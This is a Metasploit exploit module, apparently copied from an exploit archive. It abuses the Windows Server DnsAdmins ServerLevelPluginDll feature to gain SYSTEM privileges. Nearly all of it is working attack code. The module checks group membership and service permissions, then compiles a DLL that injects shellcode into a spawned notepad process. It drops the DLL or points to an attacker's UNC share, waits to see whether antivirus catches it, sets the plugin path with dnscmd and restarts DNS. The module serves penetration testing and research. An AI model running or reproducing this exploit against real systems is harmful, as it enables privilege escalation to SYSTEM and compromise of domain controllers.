Share
## https://sploitus.com/exploit?id=PACKETSTORM:159142
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'metasploit/framework/compiler/windows'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Services  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation',  
'Description' => %q{  
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the  
`ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`  
named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service  
will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended  
when using a UNC path.  
  
Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist,  
the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and  
users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus  
after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the  
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the target computer may point to an nonexistant DLL,  
which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for  
this module for advice on how to resolve this issue should it occur.  
  
This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows  
Server version up to and including Windows Server 2019.  
},  
'References' =>  
[  
['URL', 'https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83'],  
['URL', 'https://adsecurity.org/?p=4064'],  
['URL', 'http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html']  
],  
'DisclosureDate' => 'May 08 2017',  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Shay Ber', # vulnerability discovery  
'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module  
],  
'Platform' => 'win',  
'Targets' => [[ 'Automatic', {} ]],  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' =>  
{  
'WfsDelay' => 20,  
'EXITFUNC' => 'thread'  
},  
'Notes' =>  
{  
'Stability' => [CRASH_SERVICE_DOWN], # The service can go down if AV picks up on the file at an  
# non-optimal time or if the UNC path is typed in wrong.  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
  
register_options(  
[  
OptString.new('DLLNAME', [ true, 'DLL name (default: msf.dll)', 'msf.dll']),  
OptString.new('DLLPATH', [ true, 'Path to DLL. Can be a UNC path. (default: %TEMP%)', '%TEMP%']),  
OptBool.new('MAKEDLL', [ true, 'Just create the DLL, do not exploit.', false]),  
OptInt.new('AVTIMEOUT', [true, 'Time to wait for AV to potentially notice the DLL file we dropped, in seconds.', 60])  
]  
)  
  
deregister_options('FILE_CONTENTS')  
end  
  
def check  
if sysinfo['OS'] =~ /Windows 20(03|08|12|16\+|16)/  
vprint_good('OS seems vulnerable.')  
else  
vprint_error('OS is not vulnerable!')  
return Exploit::CheckCode::Safe  
end  
  
username = client.sys.config.getuid  
user_sid = client.sys.config.getsid  
hostname = sysinfo['Computer']  
vprint_status("Running check against #{hostname} as user #{username}...")  
  
srv_info = service_info('DNS')  
if srv_info.nil?  
vprint_error('Unable to enumerate the DNS service!')  
return Exploit::CheckCode::Unknown  
end  
  
if srv_info && srv_info[:display].empty?  
vprint_error('The DNS service does not exist on this host!')  
return Exploit::CheckCode::Safe  
end  
  
# for use during permission check  
if srv_info[:dacl].nil?  
vprint_error('Unable to determine permissions on the DNS service!')  
return Exploit::CheckCode::Unknown  
end  
dacl_items = srv_info[:dacl].split('D:')[1].scan(/\((.+?)\)/)  
  
vprint_good("DNS service found on #{hostname}.")  
  
# user must be a member of the DnsAdmins group to be able to change ServerLevelPluginDll  
group_membership = get_whoami  
unless group_membership  
vprint_error('Unable to enumerate group membership!')  
return Exploit::CheckCode::Unknown  
end  
  
unless group_membership.include? 'DnsAdmins'  
vprint_error("User #{username} is not part of the DnsAdmins group!")  
return Exploit::CheckCode::Safe  
end  
  
# find the DnsAdmins group SID  
dnsadmin_sid = ''  
group_membership.each_line do |line|  
unless line.include? 'DnsAdmins'  
next  
end  
  
vprint_good("User #{username} is part of the DnsAdmins group.")  
line.split.each do |item|  
unless item.include? 'S-'  
next  
end  
  
vprint_status("DnsAdmins SID is #{item}")  
dnsadmin_sid = item  
break  
end  
break  
end  
  
# check if the user or DnsAdmins group has the proper permissions to start/stop the DNS service  
if dacl_items.any? { |dacl_item| dacl_item[0].include? dnsadmin_sid }  
dnsadmin_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? dnsadmin_sid }[0]  
if dnsadmin_dacl.include? 'RPWP'  
vprint_good('Members of the DnsAdmins group can start/stop the DNS service.')  
end  
elsif dacl_items.any? { |dacl_item| dacl_item[0].include? user_sid }  
user_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? user_sid }[0]  
if user_dacl.include? 'RPWP'  
vprint_good("User #{username} can start/stop the DNS service.")  
end  
else  
vprint_error("User #{username} does not have permissions to start/stop the DNS service!")  
return Exploit::CheckCode::Safe  
end  
  
Exploit::CheckCode::Vulnerable  
end  
  
def exploit  
# get system architecture  
arch = sysinfo['Architecture']  
if arch != payload_instance.arch.first  
fail_with(Failure::BadConfig, 'Wrong payload architecture!')  
end  
  
# no exploit, just create the DLL  
if datastore['MAKEDLL'] == true  
# copypasta from lib/msf/core/exploit/fileformat.rb  
# writes the generated DLL to ~/.msf4/local/  
dllname = datastore['DLLNAME']  
full_path = store_local('dll', nil, make_serverlevelplugindll(arch), dllname)  
print_good("#{dllname} stored at #{full_path}")  
return  
end  
  
# will exploit  
if is_system?  
fail_with(Failure::BadConfig, 'Session is already elevated!')  
end  
  
unless [CheckCode::Vulnerable].include? check  
fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')  
end  
  
# if the DNS service is not started, it will throw RPC_S_SERVER_UNAVAILABLE when trying to set ServerLevelPluginDll  
print_status('Checking service state...')  
svc_state = service_status('DNS')  
unless svc_state[:state] == 4  
print_status('DNS service is stopped, starting it...')  
service_start('DNS')  
end  
  
# the service must be started before proceeding  
total_wait_time = 0  
loop do  
svc_state = service_status('DNS')  
if svc_state[:state] == 4  
sleep 1  
break  
else  
sleep 2  
total_wait_time += 2  
fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90  
end  
end  
  
# the if block assumes several things:  
# 1. operator has set up their own SMB share (SMB2 is default for most targets), as MSF does not support SMB2 yet  
# 2. operator has generated their own DLL with the correct payload and architecture  
# 3. operator's SMB share is accessible from the target. "Enable insecure guest logons" is "Enabled" on the target or  
# the target falls back to SMB1  
dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip  
if datastore['DLLPATH'].start_with?('\\\\')  
  
# Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.  
build_num_raw = session.shell_command_token('cmd.exe /c ver')  
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)  
if build_num.nil?  
print_error("Couldn't retrieve the target's build number!")  
return  
else  
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]  
vprint_status("Target's build number: #{build_num}")  
end  
  
build_num_gemversion = Gem::Version.new(build_num)  
  
# If the target is running Windows 10 or Windows Server versions with a  
# build number of 16299 or later, aka v1709 or later, then we need to check  
# if "Enable insecure guest logons" is enabled on the target system as per  
# https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser  
if (build_num_gemversion >= Gem::Version.new('10.0.16299.0'))  
# check if "Enable insecure guest logons" is enabled on the target system  
allow_insecure_guest_auth = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters', 'AllowInsecureGuestAuth')  
unless allow_insecure_guest_auth == 1  
fail_with(Failure::BadConfig, "'Enable insecure guest logons' is not set to Enabled on the target system!")  
end  
end  
print_status('Using user-provided UNC path.')  
else  
write_file(dllpath, make_serverlevelplugindll(arch))  
print_good("Wrote DLL to #{dllpath}!")  
print_status("Sleeping for #{datastore['AVTIMEOUT']} seconds to ensure the file wasn't caught by any AV...")  
sleep(datastore['AVTIMEOUT'])  
unless file_exist?(dllpath.to_s)  
print_error('Woops looks like the DLL got picked up by AV or somehow got deleted...')  
return  
end  
print_good("Looks like our file wasn't caught by the AV.")  
end  
  
print_warning('Entering danger section...')  
  
print_status("Modifying ServerLevelPluginDll to point to #{dllpath}...")  
dnscmd_result = cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll #{dllpath}").to_s.strip  
unless dnscmd_result.include? 'success'  
fail_with(Failure::UnexpectedReply, dnscmd_result.split("\n")[0])  
end  
  
print_good(dnscmd_result.split("\n")[0])  
  
# restart the DNS service  
print_status('Restarting the DNS service...')  
restart_service  
end  
  
def on_new_session(session)  
if datastore['DLLPATH'].start_with?('\\\\')  
return  
else  
if session.type == 'meterpreter'  
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')  
end  
  
vprint_status('Erasing ServerLevelPluginDll registry value...')  
cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll")  
print_good('Exited danger zone successfully!')  
  
dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip  
restart_service('session' => session, 'dllpath' => dllpath)  
end  
end  
  
def restart_service(opts = {})  
# for deleting the DLL  
if opts['session'] && opts['dllpath']  
session = opts['session']  
dllpath = opts['dllpath']  
end  
  
service_stop('DNS')  
# see if the service has really been stopped  
total_wait_time = 0  
loop do  
svc_state = service_status('DNS')  
if svc_state[:state] == 1  
sleep 1  
break  
else  
sleep 2  
total_wait_time += 2  
fail_with(Failure::TimeoutExpired, 'Was unable to stop the DNS service after 3 minutes of trying...') if total_wait_time >= 90  
end  
end  
  
# clean up the dropped DLL  
if session && dllpath && !datastore['DLLPATH'].start_with?('\\\\')  
vprint_status("Removing #{dllpath}...")  
session.fs.file.rm dllpath  
end  
  
service_start('DNS')  
# see if the service has really been started  
total_wait_time = 0  
loop do  
svc_state = service_status('DNS')  
if svc_state[:state] == 4  
sleep 1  
break  
else  
sleep 2  
total_wait_time += 2  
fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90  
end  
end  
end  
  
def make_serverlevelplugindll(arch)  
# generate the payload  
payload = generate_payload  
# the C template for the ServerLevelPluginDll DLL  
c_template = %|  
#include <Windows.h>  
#include <stdlib.h>  
#include <String.h>  
  
BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {  
switch (dwReason) {  
case DLL_PROCESS_ATTACH:  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
  
return TRUE;  
}  
  
int DnsPluginCleanup __attribute__((export))(void) { return 0; }  
int DnsPluginQuery __attribute__((export))(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }  
int DnsPluginInitialize __attribute__((export))(PVOID a1, PVOID a2) {  
STARTUPINFO startup_info;  
PROCESS_INFORMATION process_info;  
char throwaway_buffer[8];  
  
ZeroMemory(&startup_info, sizeof(startup_info));  
startup_info.cb = sizeof(STARTUPINFO);  
startup_info.dwFlags = STARTF_USESHOWWINDOW;  
startup_info.wShowWindow = 0;  
  
if (CreateProcess(NULL, "C:\\\\Windows\\\\System32\\\\notepad.exe", NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info)) {  
HANDLE processHandle;  
HANDLE remoteThread;  
PVOID remoteBuffer;  
  
unsigned char shellcode[] = "SHELLCODE_PLACEHOLDER";  
  
processHandle = OpenProcess(0x1F0FFF, FALSE, process_info.dwProcessId);  
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, 0x3000, PAGE_EXECUTE_READWRITE);  
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);  
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);  
  
CloseHandle(process_info.hThread);  
CloseHandle(processHandle);  
}  
  
return 0;  
}  
|  
  
c_template.gsub!('SHELLCODE_PLACEHOLDER', Rex::Text.to_hex(payload.raw).to_s)  
  
cpu = nil  
case arch  
when 'x86'  
cpu = Metasm::Ia32.new  
when 'x64'  
cpu = Metasm::X86_64.new  
else  
fail_with(Failure::NoTarget, 'Target arch is not compatible')  
end  
  
print_status('Building DLL...')  
Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll, cpu)  
end  
end